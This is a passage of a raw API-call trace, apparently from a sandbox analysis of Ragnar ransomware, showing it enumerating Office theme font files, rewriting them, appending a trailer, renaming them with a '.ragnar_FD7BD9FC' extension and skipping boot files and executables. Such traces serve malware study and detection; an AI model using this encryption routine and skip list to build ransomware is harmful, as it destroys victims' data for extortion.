14\\theme fonts\\slipstream.xml")) returned 0x20 [0094.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.447] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3608) returned 1 [0094.447] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.447] GetProcessHeap () returned 0x580000 [0094.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.447] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.449] VirtualAlloc (lpAddress=0x0, dwSize=0xe18, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.449] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.449] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.449] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe18, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe18, lpOverlapped=0x0) returned 1 [0094.449] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.449] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe18, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.449] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe18, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe18, lpOverlapped=0x0) returned 1 [0094.449] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.449] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.449] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.450] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.450] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.450] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.450] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.450] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.450] GetProcessHeap () returned 0x580000 [0094.450] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.450] CloseHandle (hObject=0x10c) returned 1 [0094.450] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" [0094.450] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.ragnar_FD7BD9FC" [0094.450] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0094.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.451] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Solstice.xml" | out: lpString1="Solstice.xml") returned="Solstice.xml" [0094.451] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml") returned=".xml" [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="autorun.inf") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="boot.ini") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootfont.bin") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootsect.bak") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgr") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgr.efi") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgfw.efi") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="desktop.ini") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="iconcache.db") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntldr") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.dat") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.dat.log") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.ini") returned 1 [0094.451] lstrcmpiW (lpString1="Solstice.xml", lpString2="thumbs.db") returned -1 [0094.451] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.451] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.451] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.452] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.452] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.452] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.452] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml")) returned 0x20 [0094.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.453] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3817) returned 1 [0094.453] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xee0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.453] GetProcessHeap () returned 0x580000 [0094.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.453] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.454] VirtualAlloc (lpAddress=0x0, dwSize=0xee9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.454] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xee9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xee9, lpOverlapped=0x0) returned 1 [0094.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.455] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xee9, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.455] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xee9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xee9, lpOverlapped=0x0) returned 1 [0094.455] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xee9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.455] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.455] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.455] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.455] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.455] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.455] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.456] GetProcessHeap () returned 0x580000 [0094.456] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.456] CloseHandle (hObject=0x10c) returned 1 [0094.456] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" [0094.456] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.ragnar_FD7BD9FC" [0094.456] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.456] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0094.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.457] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Technic.xml" | out: lpString1="Technic.xml") returned="Technic.xml" [0094.457] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml") returned=".xml" [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="autorun.inf") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="boot.ini") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="bootfont.bin") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="bootsect.bak") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgr") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgr.efi") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgfw.efi") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="desktop.ini") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="iconcache.db") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="ntldr") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.dat") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.dat.log") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.ini") returned 1 [0094.457] lstrcmpiW (lpString1="Technic.xml", lpString2="thumbs.db") returned -1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.457] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml")) returned 0x20 [0094.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.458] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3603) returned 1 [0094.458] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.458] GetProcessHeap () returned 0x580000 [0094.458] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.458] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.460] VirtualAlloc (lpAddress=0x0, dwSize=0xe13, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.460] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.460] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.460] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe13, lpOverlapped=0x0) returned 1 [0094.460] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.460] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe13, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.460] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe13, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe13, lpOverlapped=0x0) returned 1 [0094.460] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe13, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.461] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.461] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.461] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.461] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.461] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.461] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.461] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.461] GetProcessHeap () returned 0x580000 [0094.461] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.461] CloseHandle (hObject=0x10c) returned 1 [0094.461] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" [0094.461] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.ragnar_FD7BD9FC" [0094.461] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.462] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0094.462] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.462] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Thatch.xml" | out: lpString1="Thatch.xml") returned="Thatch.xml" [0094.462] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml") returned=".xml" [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="autorun.inf") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="boot.ini") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootfont.bin") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootsect.bak") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgr") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgr.efi") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgfw.efi") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="desktop.ini") returned 1 [0094.462] lstrcmpiW (lpString1="Thatch.xml", lpString2="iconcache.db") returned 1 [0094.463] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntldr") returned 1 [0094.463] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntuser.dat") returned 1 [0094.463] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntuser.dat.log") returned 1 [0094.463] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntuser.ini") returned 1 [0094.463] lstrcmpiW (lpString1="Thatch.xml", lpString2="thumbs.db") returned -1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.463] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml")) returned 0x20 [0094.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.463] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3839) returned 1 [0094.463] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xef6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.463] GetProcessHeap () returned 0x580000 [0094.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.464] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 